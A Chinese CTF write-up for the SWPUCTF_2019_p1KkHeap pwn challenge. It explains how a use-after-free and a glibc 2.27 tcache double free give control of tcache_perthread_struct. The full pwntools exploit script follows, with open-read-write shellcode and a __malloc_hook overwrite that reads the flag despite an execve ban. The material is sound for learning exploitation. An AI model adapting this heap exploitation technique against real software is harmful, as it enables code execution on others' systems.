这题是我第一次控制tcache_perthread_struct达到任意地址写入,感觉有些小细节值得小小的记录一下
tcache_perthread_struct:
一张图片带你认识tcache_perthread_struct
图片来源 lynne’s blog 这位师傅讲的特别详细
ELF分析
64位、2.27libc、保护全开
题目分析
main函数第一个调用函数里面一眼memset+prctl,大概率禁execve,然后orw
menu:
add中最大申请0x100大小,且最多申请8个,idx[0,7]
delete中没有将指针置0,所以存在uaf,限制了free次数最多4次,
libc为2.27的话可以试一下能不能double_free,buu中暂时我刷到的2.27基本都是老版本,没有更新对double_free的检测,这题也可以。题目限制了chunk大小、限制了chunk数量、还限制了free数量,所以填满tcache、绕过tcache都行不通,这时候主角就该出场了
我们可以利用double_free控制tcache_perthread_struct,达到任意地址写入
所以我们的思路就是往0x66660000地址写入orw,再修改hook地址为0x66660000
思路实现
add(0x100)
delete(1)
delete(1)
io.recvuntil("content: ")
heap_adr = u64(io.recv(6).ljust(8,b'\x00'))-0x360
print("heap_adr ",hex(heap_adr))
double_free同时泄露heap_adr(tcache_perthread_struct)地址
然后修改tcache->fd = tcache_perthread_struct,再申请两次就可以控制tcache_perthread_struct了,然后计算偏移修改tcache_perthread_struct中对应chunk大小的地址
这里我用的0x100,其对应偏移为0x40+0x8*15
这里就是我说的小细节了、这里并没有将对应0x100的数量改为1,而是全覆盖为0,一是因为这里没有检测 (最开始我还以为会有检测,所以对应改为1,后面就变麻瓜了qwq)
二是这可以帮我们泄露libc地址,因为此时为0,而后面我们拿出0x66660000地址后,对应的数量会减1,即变成-1,即0xff,此时如果我们再次free一个0x100的chunk,tcache中会认为这里以及被填满了,而导致我们再次free的chunk进入unsortedbin (这也是用0x100的原因)
所以我们需要提前多申请一块地址,用来泄露libc地址,再后面就是再利用tcache_perthread_struct写orw和hook内容了,这里就不赘述了
EXP
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
pwnfile = './SWPUCTF_2019_p1KkHeap'
#io=process(pwnfile)
io=remote('node4.buuoj.cn',25411)
elf = ELF(pwnfile)
libc = ELF("/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
def debug():
gdb.attach(io)
pause()
def cmd(x):
io.recvuntil("Your Choice: ")
io.sendline(str(x))
def add(size): #最大0x100
cmd(1)
io.recvuntil("size: ")
io.sendline(str(size))
def edit(idx,content):
cmd(3)
io.recvuntil("id: ")
io.sendline(str(idx))
io.recvuntil("content: ")
io.send(content)
def show(idx):
cmd(2)
io.recvuntil("id: ")
io.sendline(str(idx))
def delete(idx): #4次
cmd(4)
io.recvuntil("id: ")
io.sendline(str(idx))
#2.27 全开 ban execve
orw = asm('''
push 0x67616c66
mov eax,2
mov rdi,rsp
xor esi,esi
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
mov edi,1
mov eax,edi
syscall
''')
add(0x100) #0
add(0x100) #1
delete(1) #d1
delete(1) #d2
show(1)
io.recvuntil("content: ")
heap_adr = u64(io.recv(6).ljust(8,b'\x00'))-0x360
print("heap_adr ",hex(heap_adr))
add(0x100) #2
edit(2,p64(heap_adr))
add(0x100) #3
add(0x100) #4
#这里一定要设为0,后面add之后0-1=ff,即0x110的tcache满了,再delete就会进入unsortedbin
pay=p64(0)*(8+15)+p64(0x66660000)
edit(4,pay)
debug()
add(0x100) #5
pay=orw
edit(5,pay)
delete(0) #d3
show(0)
io.recvuntil("content: ")
malloc_hook = u64(io.recv(6).ljust(8,b'\x00'))-96-0x10
print("malloc_hook ",hex(malloc_hook))
libc_base = malloc_hook - libc.symbols['__malloc_hook']
pay=p64(0)*(8+15)+p64(malloc_hook)
edit(4,pay)
add(0x100) #6
edit(6,p64(0x66660000))
#debug()
add(0x18)
io.interactive()